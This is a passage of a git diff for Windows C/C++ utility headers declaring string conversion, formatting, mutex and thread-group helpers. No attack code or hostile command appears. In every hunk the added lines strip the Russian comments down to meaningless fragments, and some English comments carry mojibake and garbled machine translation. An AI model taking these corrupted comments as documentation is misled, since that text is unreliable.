*/ DWORD _FromInt64A(__int64 iNumber, LPSTR pBuf, BYTE bRadix, bool bSigned); /* - Преобразование x32 числа в ANSI строку. + x32 ANSI . - IN iNumber - исходное число. - OUT pBuf - буффер. - IN bRadix - система счисления. - IN bSigned - true - если числознаковое, false - если число беззнаковое. + IN iNumber - . + OUT pBuf - . + IN bRadix - . + IN bSigned - true - , false - . - Return - количество скопированных байт в pBuf. + Return - pBuf. */ DWORD _FromInt32A(int iNumber, LPSTR pBuf, BYTE bRadix, bool bSigned); /* - Преобразование x64 числа в Unicode строку. + x64 Unicode . - IN iNumber - исходное число. - OUT pBuf - буффер. - IN bRadix - система счисления. - IN bSigned - true - если числознаковое, false - если число беззнаковое. + IN iNumber - . + OUT pBuf - . + IN bRadix - . + IN bSigned - true - , false - . - Return - количество скопированных байт в pBuf + Return - pBuf */ DWORD _FromInt64W(__int64 iNumber, LPWSTR pBuf, BYTE bRadix, bool bSigned); /* - Преобразование x64 числа в Unicode строку. + x64 Unicode . - IN iNumber - исходное число. - OUT pBuf - буффер. - IN bRadix - система счисления. - IN bSigned - true - если числознаковое, false - если число беззнаковое. + IN iNumber - . + OUT pBuf - . + IN bRadix - . + IN bSigned - true - , false - . - Return - количество скопированных байт в pBuf + Return - pBuf */ DWORD _FromInt32W(int iNumber, LPWSTR pBuf, BYTE bRadix, bool bSigned); /* - Преоброзование десятичной ANSI строки в DWORD. Преоброзование длиться до тех пор пока не - встретиться символ не равный '0' - '9', 'A' - 'F', 'a' - 'f'. Также если в начале строки - стоит прейикс 0x, он успешно пропустится. + ANSI DWORD. + '0' - '9', 'A' - 'F', 'a' - 'f'. + 0x, . - IN str - строка для обработки. + IN str - . - Return - полученое число. + Return - . */ DWORD _hexStringToDwordA(LPSTR str); /* - Преоброзование десятичной Unicode строки в DWORD. Преоброзование длиться до тех пор пока не - встретиться символ не равный '0' - '9', 'A' - 'F', 'a' - 'f'. Также если в начале строки - стоит прейикс 0x, он успешно пропустится. + Unicode DWORD. + '0' - '9', 'A' - 'F', 'a' - 'f'. + 0x, . - IN str - строка для обработки. + IN str - . - Return - полученое число. + Return - . */ DWORD _hexStringToDwordW(LPWSTR str); /* - Преобразование HEX-строки в бинарные данные. + HEX- . - IN string - строка. - OUT buffer - буфер. Может быть указателем на string. + IN string - . + OUT buffer - . string. - Return - true - если строка успешно приобразована, или пуста, - false - в случаи ошибки. + Return - true - , , + false - . */ bool _fromHexW(LPWSTR string, void *buffer); /* - Преобразование бинарных данных в HEX-строку. + HEX-. - IN buffer - буфер. Может быть указателем на string. - IN bufferSize - размер буфера. - OUT string - строка. Ее размер должн быть не менее (bufferSize * 2 + 1) символов. + IN buffer - . string. + IN bufferSize - . + OUT string - . (bufferSize * 2 + 1) . */ void _toHexW(const void *binary, DWORD binarySize, LPWSTR string); /* - Преобразование бинарных данных в HEX-строку. + HEX-. - IN buffer - буфер. Может быть указателем на string. - IN bufferSize - размер буфера. - OUT string - строка. Ее размер должн быть не менее (bufferSize * 2 + 1) символов. + IN buffer - . string. + IN bufferSize - . + OUT string - . (bufferSize * 2 + 1) . - Return - true - если строка успешно приобразована, или пуста, - false - в случаи ошибки. + Return - true - , , + false - . */ void _toHexA(const void *binary, DWORD binarySize, LPSTR string); /* - Преобразует строковые спец. символы С в номарльные байты. + . . - IN OUT str - строка для обработки. + IN OUT str - . */ void _fromCFormatA(LPSTR str); /* - Преобразует строковые спец. символы С в номарльные байты. + . . - IN OUT str - строка для обработки. + IN OUT str - . */ void _fromCFormatW(LPWSTR str); /* - Разделение строки по строкам на основе символа \n или \r. Уневераслен для Win, Mac, Unix. + \n \r. Win, Mac, Unix. - IN input - исходная строка. - IN inputSize - размер исходной строки. - OUT strings - массив указателей строк, должен быть освобожден через Mem::freeArrayOfPointers. - Строки, которые будут иметь нулевой размер могут быть отмечены как - NULL-указателем, так и пустой строкой. - IN flags - флаги STS_*. - IN separator - разделитель строк, актуально тольк при флаге STS_USE_SEPARATOR. + IN input - . + IN inputSize - . + OUT strings - , Mem::freeArrayOfPointers. + , + NULL-, . + IN flags - STS_*. + IN separator - , STS_USE_SEPARATOR. - Return - количетсво полученых строк, или (DWORD)-1 в случаи возниконвения ошибки. + Return - , (DWORD)-1 . */ DWORD _splitToStringsA(LPSTR input, DWORD inputSize, LPSTR **strings, DWORD flags, char separator); /* - Разделение строки по строкам на основе символа \n или \r. Уневераслен для Win, Mac, Unix. + \n \r. Win, Mac, Unix. - IN input - исходная строка. - IN inputSize - размер исходной строки. - OUT strings - массив указателей строк, должен быть освобожден через Mem::freeArrayOfPointers. - Строки, которые будут иметь нулевой размер могут быть отмечены как - NULL-указателем, так и пустой строкой. - IN flags - флаги STS_*. - IN separator - разделитель строк, актуально тольк при флаге STS_USE_SEPARATOR. + IN input - . + IN inputSize - . + OUT strings - , Mem::freeArrayOfPointers. + , + NULL-, . + IN flags - STS_*. + IN separator - , STS_USE_SEPARATOR. - Return - количетсво полученых строк, или (DWORD)-1 в случаи возниконвения ошибки. + Return - , (DWORD)-1 . */ DWORD _splitToStringsW(LPWSTR input, DWORD inputSize, LPWSTR **strings, DWORD flags, WCHAR separator); /* - Разделение строки на агрумента с подедржкой ковычек. + . - IN input - исходная строка. - IN inputSize - размер исходной строки. - OUT args - массив указателей строк, должен быть освобожден через Mem::freeArrayOfPointers. - Строки, которые будут иметь нулевой размер будут отмечены как "\0". - IN flags - флаги STA_*. + IN input - . + IN inputSize - . + OUT args - , Mem::freeArrayOfPointers. + , "\0". + IN flags - STA_*. - Return - количетсво полученых аргументов, или (DWORD)-1 в случаи возниконвения ошибки. + Return - , (DWORD)-1 . */ DWORD _getArgumentsA(const LPSTR input, DWORD inputSize, LPSTR **args, DWORD flags); /* - Разделение строки на агрумента с подедржкой ковычек. + . - IN input - исходная строка. - IN inputSize - размер исходной строки. - OUT args - массив указателей строк, должен быть освобожден через Mem::freeArrayOfPointers. - Строки, которые будут иметь нулевой размер будут отмечены как "\0". - IN flags - флаги STA_*. + IN input - . + IN inputSize - . + OUT args - , Mem::freeArrayOfPointers. + , "\0". + IN flags - STA_*. - Return - количетсво полученых аргументов, или (DWORD)-1 в случаи возниконвения ошибки. + Return - , (DWORD)-1 . */ DWORD _getArgumentsW(const LPWSTR input, DWORD inputSize, LPWSTR **args, DWORD flags); /* - Объединение аргументов в одну строку. + . - IN args - аргументы. - IN argsCount - кол. акргументов. + IN args - . + IN argsCount - . . - Return - строка в случаи успеха (нужно освободить через Mem), - false - в случаи провала. + Return - ( Mem), + false - . */ LPWSTR _joinArgumentsW(const LPWSTR *args, DWORD argsCount); /* - Создание ANSI строки из Unicode. + ANSI Unicode. - IN source - исходная Unicode-строка. - IN sourceSize - размер source в символах, или -1 для автоопределения. - OUT dest - новая ANSI-строка, всегда будет кончаться на 0. Может быть NULL при + IN source - Unicode-. + IN sourceSize - source , -1 . + OUT dest - ANSI-, 0. NULL destSize == 0. - IN destSize - размер буфера dest в байтах, включая нулевой символ. Если 0, то функуции - вернет требуемый размер буфера в байтах, исключая нулевой символ. + IN destSize - dest , . 0, + , . - Return - 0 - ошибка (dest[0] будет равен нулю), - или кол. байт скопированных или требуемых в dest, исключая нулевой символ. + Return - 0 - (dest[0] ), + . dest, . */ int _unicodeToAnsi(const LPWSTR source, int sourceSize, LPSTR dest, int destSize); /* - Создание ANSI строки из Unicode, с выделением памяти. + ANSI Unicode, . - IN source - исходная строка. - IN size - размер pstrSource в символах, или -1 для автоопределения. + IN source - . + IN size - pstrSource , -1 . - Return - ANSI-строка(всегда завершена на 0), или NULL в случаи ошибки. + Return - ANSI-( 0), NULL . */ LPSTR _unicodeToAnsiEx(const LPWSTR source, int size); /* - Создание Unicode строки из ANSI. + Unicode ANSI. - IN source - исходная ANSI-строка. - IN sourceSize - размер source в символах, или -1 для автоопределения. - OUT dest - новая Unicode-строка, всегда будет кончаться на 0. Может быть NULL при + IN source - ANSI-. + IN sourceSize - source , -1 . + OUT dest - Unicode-, 0. NULL destSize == 0. - IN destSize - размер буфера dest в символах, включая нулевой символ. Если 0, то функуции - вернет требуемый размер буфера в символах, исключая нулевой символ. + IN destSize - dest , . 0, + , . - Return - 0 - ошибка (dest[0] будет равен нулю), - или кол. символоов скопированных или требуемых в dest, исключая нулевой символ. + Return - 0 - (dest[0] ), + . dest, . */ int _ansiToUnicode(LPSTR source, int sourceSize, LPWSTR dest, int destSize); /* - Создание Unicode строки из ANSI, с выделением памяти. + Unicode ANSI, . - IN source - исходная ANSI-строка. - IN size - размер pstrSource в символах, или -1 для автоопределения. + IN source - ANSI-. + IN size - pstrSource , -1 . - Return - Unicode-строка(всегда завершена на 0), или NULL в случаи ошибки. + Return - Unicode-( 0), NULL . */ LPWSTR _ansiToUnicodeEx(LPSTR source, int size); /* - Создание Unicode строки из OEM. + Unicode OEM. - IN source - исходная OEM-строка. - IN sourceSize - размер source в символах, или -1 для автоопределения. - OUT dest - новая Unicode-строка, всегда будет кончаться на 0. Может быть NULL при + IN source - OEM-. + IN sourceSize - source , -1 . + OUT dest - Unicode-, 0. NULL destSize == 0. - IN destSize - размер буфера dest в символах, включая нулевой символ. Если 0, то функуции - вернет требуемый размер буфера в символах, исключая нулевой символ. + IN destSize - dest , . 0, + , . - Return - 0 - ошибка (dest[0] будет равен нулю), - или кол. символоов скопированных или требуемых в dest, исключая нулевой символ. + Return - 0 - (dest[0] ), + . dest, . */ int _oemToUnicode(LPSTR source, int sourceSize, LPWSTR dest, int destSize); /* - Создание Unicode строки из OEM, с выделением памяти. + Unicode OEM, . - IN source - исходная OEM-строка. - IN size - размер pstrSource в символах, или -1 для автоопределения. + IN source - OEM-. + IN size - pstrSource , -1 . - Return - Unicode-строка, или NULL в случаи ошибки. + Return - Unicode-, NULL . */ LPWSTR _oemToUnicodeEx(LPSTR source, int size); /* - Вычисляет размер Unicode строки. + Unicode . - IN pstrStr - строка для обработки. Может быть NULL. + IN pstrStr - . NULL. - Return - размер строки. + Return - . */ int _LengthA(LPCSTR pstrStr); /* - Вычисляет размер ANSI строки. + ANSI . - IN pstrStr - строка для обработки. Может быть NULL. + IN pstrStr - . NULL. - Return - размер строки. + Return - . */ int _LengthW(LPCWSTR pstrStr); /* - Сравнивает две ANSI строки. + ANSI . - IN pstrStr1 - первая строка. Может быть NULL. - IN pstrStr2 - вторая строка. Может быть NULL. - IN iSize1 - размер первой строки или -1. - IN iSize2 - размер второй строки или -1. + IN pstrStr1 - . NULL. + IN pstrStr2 - . NULL. + IN iSize1 - -1. + IN iSize2 - -1. - Return - 0 - строки равны, - -1 - первая строка меньше второй строки. - 1 - первая строка больше второй строки. + Return - 0 - , + -1 - . + 1 - . */ int _CompareA(LPCSTR pstrStr1, LPCSTR pstrStr2, int iSize1, int iSize2); /* - Сравнивает две Unicode строки. + Unicode . - IN pstrStr1 - первая строка. Может быть NULL. - IN pstrStr2 - вторая строка. Может быть NULL. - IN iSize1 - размер первой строки или -1. - IN iSize2 - размер второй строки или -1. + IN pstrStr1 - . NULL. + IN pstrStr2 - . NULL. + IN iSize1 - -1. + IN iSize2 - -1. - Return - 0 - строки равны, - -1 - первая строка меньше второй строки. - 1 - первая строка больше второй строки. + Return - 0 - , + -1 - . + 1 - . */ int _CompareW(LPCWSTR pstrStr1, LPCWSTR pstrStr2, int iSize1, int iSize2); /* - Поиск символа в ANSI строке. + ANSI . - IN string - строка, в которой будет производиться поиск. - IN c - символ для поиска. + IN string - , . + IN c - . - Return - указатель на первый найденый символ, или NULL если символ не найден. + Return - , NULL . */ LPSTR _findCharA(const LPSTR string, char c); /* - Поиск символа в ANSI строке с правой стороны. + ANSI . - IN string - строка, в которой будет производиться поиск. - IN c - символ для поиска. + IN string - , . + IN c - . - Return - указатель на первый найденый символ, или NULL если символ не найден. + Return - , NULL . */ LPSTR _findRCharA(const LPSTR string, char c); /* - Поиск символа в Unicode строке. + Unicode . - IN string - строка, в которой будет производиться поиск. - IN c - символ для поиска. + IN string - , . + IN c - . - Return - указатель на первый найденый символ, или NULL если символ не найден. + Return - , NULL . */ LPWSTR _findCharW(const LPWSTR string, WCHAR c); /* - Поиск символа в Unicode строке с правой стороны. + Unicode . - IN string - строка, в которой будет производиться поиск. - IN c - символ для поиска. + IN string - , . + IN c - . - Return - указатель на первый найденый символ, или NULL если символ не найден. + Return - , NULL . */ LPWSTR _findRCharW(const LPWSTR string, WCHAR c); /* - Поиск подстроки в ANSI строке. + ANSI . - IN string - строка, в которой будет производиться поиск. Не может быть NULL. - IN subString - подстрока для поиска. Не может быть NULL. + IN string - , . NULL. + IN subString - . NULL. - Return - указатель на первую найденую строку, или NULL если строка не найдена. + Return - , NULL . */ LPSTR _findSubStringA(const LPSTR string, const LPSTR subString); /* - Поиск подстроки в Unicode строке. + Unicode . - IN string - строка, в которой будет производиться поиск. Не может быть NULL. - IN subString - подстрока для поиска. Не может быть NULL. + IN string - , . NULL. + IN subString - . NULL. - Return - указатель на первую найденую строку, или NULL если строка не найдена. + Return - , NULL . */ LPWSTR _findSubStringW(const LPWSTR string, const LPWSTR subString); /* - Расширение для wnsprintfW.. + wnsprintfW.. - OUT pBuf - указатель на буфер конечной строки. - IN iBufSize - размер буфера (включая нулевой символ). - IN pstrFormat - формат строки. - IN ... - аргументы строки. + OUT pBuf - . + IN iBufSize - ( ). + IN pstrFormat - . + IN ... - . - Return - размер строки без нулевого символа, или -1 в случаи ошибки. + Return - , -1 . */ int _sprintfW(LPWSTR pBuf, int iBufSize, LPCWSTR pstrFormat, ...); /* - Расширение для wnsprintfA.. + wnsprintfA.. - OUT pBuf - указатель на буфер конечной строки. - IN iBufSize - размер буфера (включая нулевой символ). - IN pstrFormat - формат строки. - IN ... - аргументы строки. + OUT pBuf - . + IN iBufSize - ( ). + IN pstrFormat - . + IN ... - . - Return - размер строки без нулевого символа, или -1 в случаи ошибки. + Return - , -1 . */ int _sprintfA(LPSTR pBuf, int iBufSize, LPCSTR pstrFormat, ...); /* - Расширение для wvnsprintfW.. + wvnsprintfW.. - OUT pBuf - указатель на буфер конечной строки. - IN iBufSize - размер буфера (включая нулевой символ). - IN pstrFormat - формат строки. - IN arglist - аргументы сроки. + OUT pBuf - . + IN iBufSize - ( ). + IN pstrFormat - . + IN arglist - . - Return - размер строки без нулевого символа, или -1 в случаи ошибки. + Return - , -1 . */ int _vsprintfW(LPWSTR pBuf, int iBufSize, LPCWSTR pstrFormat, va_list arglist); /* - Расширение для wvnsprintfW.. + wvnsprintfW.. - OUT pBuf - указатель на буфер конечной строки. - IN iBufSize - размер буфера (включая нулевой символ). - IN pstrFormat - формат строки. - IN arglist - аргументы сроки. + OUT pBuf - . + IN iBufSize - ( ). + IN pstrFormat - . + IN arglist - . - Return - размер строки без нулевого символа, или -1 в случаи ошибки. + Return - , -1 . */ int _vsprintfA(LPSTR pBuf, int iBufSize, LPCSTR pstrFormat, va_list arglist); /* - Расширение для wsprintfW, которое автоматичепски выделяет память. + wsprintfW, . - OUT ppBuf - указатель на буфер конечной строки. Должен быть освобожден через Mem. - IN pstrFormat - формат строки. - IN ... - аргументы строки. + OUT ppBuf - . Mem. + IN pstrFormat - . + IN ... - . - Return - размер строки без нулевого символа, или -1 в случаи ошибки. + Return - , -1 . - Примечание: макимальный размер выходной строки ~MAX_SPRINTF_STRING_SIZE; + : ~MAX_SPRINTF_STRING_SIZE; */ int _sprintfExW(LPWSTR *ppBuf, LPCWSTR pstrFormat, ...); /* - Расширение для _sprintfExW, которое добавляет новые строку в конец сушетвующей. + _sprintfExW, . - IN OUT buffer - буффер. Может указывать на NULL. В случаи ошибки и если не был указан NULL, - будет восстановлен до offset символов с окончанием на нулевой символ. - IN offset - оффсет в символах в *buffer, с которого нужно начать вносить изменения. - IN format - формат строки. - IN ... - аргументы для строки. + IN OUT buffer - . NULL. NULL, + offset . + IN offset - *buffer, . + IN format - . + IN ... - . - Return - полный размер строки без нулевого символа, или (DWORD)-1 в случаи ошибки. + Return - , (DWORD)-1 . */ DWORD _sprintfCatExW(LPWSTR *buffer, DWORD offset, const LPWSTR format, ...); /* - Расширение для wsprintfA, которое автоматичепски выделяет память. + wsprintfA, . - OUT ppBuf - указатель на буфер конечной строки. Должен быть освобожден через Mem. - IN pstrFormat - формат строки. - IN ... - аргументы строки. + OUT ppBuf - . Mem. + IN pstrFormat - . + IN ... - . - Return - размер строки без нулевого символа, или -1 в случаи ошибки. + Return - , -1 . - Примечание: макимальный размер выходной строки ~MAX_SPRINTF_STRING_SIZE; + : ~MAX_SPRINTF_STRING_SIZE; */ int _sprintfExA(LPSTR *ppBuf, LPCSTR pstrFormat, ...); /* - Расширение для wvsprintfW, которое автоматичепски выделяет память. + wvsprintfW, . - OUT ppBuf - указатель на буфер конечной строки. Должен быть освобожден через Mem. - IN pstrFormat - формат строки. - IN arglist - аргументы сроки. + OUT ppBuf - . Mem. + IN pstrFormat - . + IN arglist - . - Return - размер строки без нулевого символа, или -1 в случаи ошибки. + Return - , -1 . - Примечание: макимальный размер выходной строки ~MAX_SPRINTF_STRING_SIZE; + : ~MAX_SPRINTF_STRING_SIZE; */ int _vsprintfExW(LPWSTR *ppBuf, LPCWSTR pstrFormat, va_list arglist); /* - Расширение для _sprintfExA, которое добавляет новые строку в конец сушетвующей. + _sprintfExA, . - IN OUT buffer - буффер. Может указывать на NULL. В случаи ошибки и если не был указан NULL, - будет восстановлен до offset символов с окончанием на нулевой символ. - IN offset - оффсет в символах в *buffer, с которого нужно начать вносить изменения. - IN format - формат строки. - IN ... - аргументы для строки. + IN OUT buffer - . NULL. NULL, + offset . + IN offset - *buffer, . + IN format - . + IN ... - . - Return - полный размер строки без нулевого символа, или (DWORD)-1 в случаи ошибки. + Return - , (DWORD)-1 . */ DWORD _sprintfCatExA(LPSTR *buffer, DWORD offset, const LPSTR format, ...); /* - Расширение для _vsprintfExW, которое добавляет новые строку в конец сушетвующей. + _vsprintfExW, . - IN OUT buffer - буффер. Может указывать на NULL. В случаи ошибки и если не был указан NULL, - будет восстановлен до offset символов с окончанием на нулевой символ. - IN offset - оффсет в символах в *buffer, с которого нужно начать вносить изменения. - IN format - формат строки. - IN arguments - аргументы для строки. + IN OUT buffer - . NULL. NULL, + offset . + IN offset - *buffer, . + IN format - . + IN arguments - . - Return - полный размер строки без нулевого символа, или (DWORD)-1 в случаи ошибки. + Return - , (DWORD)-1 . */ DWORD _vsprintfCatExW(LPWSTR *buffer, DWORD offset, const LPWSTR format, va_list arguments); /* - Расширение для wvsprintfA, которое автоматичепски выделяет память. + wvsprintfA, . - OUT ppBuf - указатель на буфер конечной строки. Должен быть освобожден через Mem. - IN pstrFormat - формат строки. - IN arglist - аргументы сроки. + OUT ppBuf - . Mem. + IN pstrFormat - . + IN arglist - . - Return - размер строки без нулевого символа, или -1 в случаи ошибки. + Return - , -1 . - Примечание: макимальный размер выходной строки ~MAX_SPRINTF_STRING_SIZE; + : ~MAX_SPRINTF_STRING_SIZE; */ int _vsprintfExA(LPSTR *ppBuf, LPCSTR pstrFormat, va_list arglist); /* - Расширение для _vsprintfExA, которое добавляет новые строку в конец сушетвующей. + _vsprintfExA, . - IN OUT buffer - буффер. Может указывать на NULL. В случаи ошибки и если не был указан NULL, - будет восстановлен до offset символов с окончанием на нулевой символ. - IN offset - оффсет в символах в *buffer, с которого нужно начать вносить изменения. - IN format - формат строки. - IN arguments - аргументы для строки. + IN OUT buffer - . NULL. NULL, + offset . + IN offset - *buffer, . + IN format - . + IN arguments - . - Return - полный размер строки без нулевого символа, или (DWORD)-1 в случаи ошибки. + Return - , (DWORD)-1 . */ DWORD _vsprintfCatExA(LPSTR *buffer, DWORD offset, const LPSTR format, va_list arguments); /* - Проверяет являются ли байты UTF-8 BOM. + UTF-8 BOM. - IN data - байты для проверки. + IN data - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _utf8IsBom(const void *data); /* - Освобождение строки. + . - IN string - строка UTF-8. + IN string - UTF-8. */ void _utf8Free(UTF8STRING *string); /* - Создание строки UTF-8 из Unicode. + UTF-8 Unicode. - IN source - исходная строка. - IN sourceSize - размер строки pstrSource, или -1 для автоопределения. - OUT dest - строка UTF-8. + IN source - . + IN sourceSize - pstrSource, -1 . + OUT dest - UTF-8. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _utf8FromUnicode(const LPWSTR source, int sourceSize, UTF8STRING *dest); /* - Создание строки UTF-8 из ANSI. + UTF-8 ANSI. - IN source - исходная строка. - IN sourceSize - размер строки pstrSource, или -1 для автоопределения. - OUT dest - строка UTF-8. + IN source - . + IN sourceSize - pstrSource, -1 . + OUT dest - UTF-8. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _utf8FromAnsi(const LPSTR source, int sourceSize, UTF8STRING *dest); /* - Приобразование UTF-8 строки в Unicode. + UTF-8 Unicode. - IN rawString - UTF-8 строка. - IN size - размер строки в байтах, или -1 для автоопределения. + IN rawString - UTF-8 . + IN size - , -1 . - Return - Unicode-строка в случаи успеха (должна быть освобождена через Mem), - или NULL в случаи ошибки. + Return - Unicode- ( Mem), + NULL . */ LPWSTR _utf8ToUnicode(const void *rawString, const int size); /* - Проверяет является ли строка, правильной мульти-строкой. + , -. - IN string - мульти-строка для проверки. - IN size - размер мульти-строки. + IN string - - . + IN size - -. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _isValidMultiStringA(const LPSTR string, DWORD size); /* - Проверяет является ли строка, правильной мульти-строкой. + , -. - IN string - мульти-строка для проверки. - IN size - размер мульти-строки. + IN string - - . + IN size - -. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _isValidMultiStringW(const LPWSTR string, DWORD size); /* - Получает строку из мульти-строки по индексу. + - . - IN string - мульти-строка. - IN index - индекс. + IN string - -. + IN index - . - Return - указатель на строку, или NULL в случаи ошибки. + Return - , NULL . */ LPSTR _multiStringGetIndexA(LPSTR string, DWORD index); /* - Получает строку из мульти-строки по индексу. + - . - IN string - мульти-строка. - IN index - индекс. + IN string - -. + IN index - . - Return - указатель на строку, или NULL в случаи ошибки. + Return - , NULL . */ LPWSTR _multiStringGetIndexW(LPWSTR string, DWORD index); /* - Получение кол. строк в мульти-строке. + . -. - IN string - мульти-строка. + IN string - -. - Return - кол. строк. + Return - . . */ DWORD _multiStringGetCountA(const LPSTR string); /* - Получение кол. строк в мульти-строке. + . -. - IN string - мульти-строка. + IN string - -. - Return - кол. строк. + Return - . . */ DWORD _multiStringGetCountW(const LPWSTR string); /* - Создает мультистроку с одной строкой из строки. + . - IN string - исходная строка. - OUT length - полный размер строки в символах, влючая нулевые символы. + IN string - . + OUT length - , . - Return - мульистрока(нужно освободить через Mem), или NULL в вслучаи ошибки. + Return - ( Mem), NULL . */ LPSTR _multiStringCreateA(const LPSTR string, LPDWORD length); /* - Создает мультистроку с одной строкой из строки. + . - IN string - исходная строка. - OUT length - полный размер строки в символах, влючая нулевые символы. + IN string - . + OUT length - , . - Return - мульистрока(нужно освободить через Mem), или NULL в вслучаи ошибки. + Return - ( Mem), NULL . */ LPWSTR _multiStringCreateW(const LPWSTR string, LPDWORD length); /* - Возращает не форматированую строку для системной ошибки. + . - IN dwErrorCode - код ошибки. + IN dwErrorCode - . - Return - строку ошибки, или NULL в случаи ошибки. Строка должна быть освобождена через + Return - , NULL . Mem. */ LPWSTR _GetErrorString(DWORD dwErrorCode); /* - Добавление экранизация симоволов \, ', ", \0 - слэшем. Аналог addslashes из PHP. + \, ', ", \0 - . addslashes PHP. - IN source - исходная строка. - IN dest - конечная строка. + IN source - . + IN dest - . */ void _addSlashesW(LPWSTR source, LPWSTR dest); /* - Добавление экранизация симоволов с выделением памяти. + . - IN source - исходная строка. - IN size - размер исходной строки в символах. Может быть -1. + IN source - . + IN size - . -1. - Return - NULL - в случаи ошибки, адрес новой строки в случаи успеха. + Return - NULL - , . */ LPWSTR _addSlashesExW(const LPWSTR source, SIZE_T size); /* - Добавление экранизация симоволов \, ', ", \0 - слэшем. Аналог addslashes из PHP. + \, ', ", \0 - . addslashes PHP. - IN source - исходная строка. - IN dest - конечная строка. + IN source - . + IN dest - . */ void _addSlashesA(LPSTR source, LPSTR dest); /* - Добавление экранизация симоволов с выделением памяти. + . - IN source - исходная строка. - IN size - размер исходной строки в символах. Может быть -1. + IN source - . + IN size - . -1. - Return - NULL - в случаи ошибки, адрес новой строки в случаи успеха. + Return - NULL - , . */ LPSTR _addSlashesExA(const LPSTR source, SIZE_T size); /* - Получение размера текщей строки в списке строк разделнных через \r\n или \n. + \r\n \n. - IN string - начало строки. В последующих вызовах должен быть next. - IN memEnd - конец памяти. Обычно string + size. - OUT next - указатель на следующию строку, или конец памяти. + IN string - . next. + IN memEnd - . string + size. + OUT next - , . - Return - размер строки. + Return - . */ SIZE_T __inline _getCurrentStringSizeW(const LPWSTR string, const LPWSTR memEnd, LPWSTR *next); /* - Получение размера текщей строки в списке строк разделнных через \r\n или \n. + \r\n \n. - IN string - начало строки. В последующих вызовах должен быть next. - IN memEnd - конец памяти. Обычно string + size. - OUT next - указатель на следующию строку, или конец памяти. + IN string - . next. + IN memEnd - . string + size. + OUT next - , . - Return - размер строки. + Return - . */ SIZE_T __inline _getCurrentStringSizeA(const LPSTR string, const LPSTR memEnd, LPSTR *next); /* - Сравнение строки с маской. + . - IN md - данные сравненния. + IN md - . - Return - true - совпадение найдено, - false - совпадение не найдено. + Return - true - , + false - . */ bool _matchA(MATCHDATAA *md); - /*В В В В Lightweight Preset over _matchA (), for comparison with the symbols' * ','? "And without tauzhe -В В В В register. + /*    Lightweight Preset over _matchA (), for comparison with the symbols' * ','? "And without tauzhe +    register. -В В В В IN mask - a mask. -В В В В IN string - string. +    IN mask - a mask. +    IN string - string. -В В В В Return - true - a match is found, -В В В В В В В В В В В В В false - no match. -В В */ +    Return - true - a match is found, +             false - no match. +  */ bool _matchExA(const LPSTR mask, const LPSTR string); }; diff --git a/source/common/sync.h b/source/common/sync.h index d0094f2..ce289b8 100644 --- a/source/common/sync.h +++ b/source/common/sync.h @@ -1,67 +1,67 @@ #pragma once /* - Набор функций для синхронизации между нитями и процессами. + . */ namespace Sync { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Ожидание освобождения мютекса и его захват. + . - IN mutexAttributes - SECURITY_ATTRIBUTES для мютекса или NULL. - IN name - имя мютекса. + IN mutexAttributes - SECURITY_ATTRIBUTES NULL. + IN name - . - Return - хэндл мютекса. + Return - . - Примечание: Для освобождения мютекса необходимо вызвать _freeMutex(). + : _freeMutex(). */ HANDLE _waitForMutex(SECURITY_ATTRIBUTES *mutexAttributes, LPWSTR name); /* - Ожидание событие, и обработка всех оконных сообщений потока. + , . - IN count - кол. объектов. - IN handles - объекты. - IN waitAll - ждать всех обектов. - IN milliseconds - время ожидания в мс, INFINITE для бескоенчного ожидания. + IN count - . . + IN handles - . + IN waitAll - . + IN milliseconds - , INFINITE . - Return - согласно WaitForMultipleObjects(). + Return - WaitForMultipleObjects(). */ DWORD _waitForMultipleObjectsAndDispatchMessages(DWORD count, const HANDLE* handles, bool waitAll, DWORD milliseconds); /* - Освобождение мютекса захваченного через WaitForMutex. + WaitForMutex. - IN mutex - хэндл мютекса. + IN mutex - . */ void _freeMutex(HANDLE mutex); /* - Создание уникального мютекса. + . - IN mutexAttributes - SECURITY_ATTRIBUTES для мютекса или NULL. - IN name - имя мютекса. + IN mutexAttributes - SECURITY_ATTRIBUTES NULL. + IN name - . - Return - хэндл мютекса, или NULL в случаи ошибки или если мютекс уже существует. + Return - , NULL . */ HANDLE _createUniqueMutex(SECURITY_ATTRIBUTES *mutexAttributes, LPWSTR name); - /*В В В В Checks whether there myuteks. + /*    Checks whether there myuteks. -В В В В IN name - the name myuteksa. +    IN name - the name myuteksa. -В В В В Return - true - there is, -В В В В В В В В В В В В В В false - do not suschetvuet. -В В */ +    Return - true - there is, +              false - do not suschetvuet. +  */ bool _mutexExists(LPWSTR name); }; \ No newline at end of file diff --git a/source/common/threadsgroup.h b/source/common/threadsgroup.h index 2672d97..642f3ca 100644 --- a/source/common/threadsgroup.h +++ b/source/common/threadsgroup.h @@ -1,8 +1,8 @@ /* - Управление группой потоков. + . - Примичание: функции не безопаны при вызове из разных потоков. - в группе не может быть более MAXIMUM_WAIT_OBJECTS потоков. + : . + MAXIMUM_WAIT_OBJECTS . */ #pragma once @@ -16,69 +16,69 @@ namespace ThreadsGroup }GROUP; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Созданме новой группы. + . - OUT group - группа нитей. + OUT group - . */ void _createGroup(GROUP *group); /* - Удаление хэндлов завершенных процессов из группы. + . - IN OUT group - группа для обработки. + IN OUT group - . */ void _closeTerminatedHandles(GROUP *group); /* - Получение кол. активных потоков. + . . - IN group - группа для обработки. + IN group - . - Return - кол. активных потоков. + Return - . . */ DWORD _numberOfActiveThreads(GROUP *group); /* - Создание новой нити. + . - IN group - группа нитей. - IN stackSize - размер стека, 0 - использовать по умолчанию. - IN startAddress - точка входа нити, или NULL если требуется только оптимизация группы. - IN parameter - параметр точки входа. - OUT threadId - ID нити, или NULL если не нужен. - OUT threadHandle - Хэндл нити, или NULL если не нужен. Не в коем случаи нельзя закрывать этот - хэндл из вне. - - Return - true - в случаи успеха, - false - в случаи ошибки. + IN group - . + IN stackSize - , 0 - . + IN startAddress - , NULL . + IN parameter - . + OUT threadId - ID , NULL . + OUT threadHandle - , NULL . + . + + Return - true - , + false - . */ bool _createThread(GROUP *group, SIZE_T stackSize, LPTHREAD_START_ROUTINE startAddress, LPVOID parameter, LPDWORD threadId, HANDLE *threadHandle); /* - Ожидание завершение 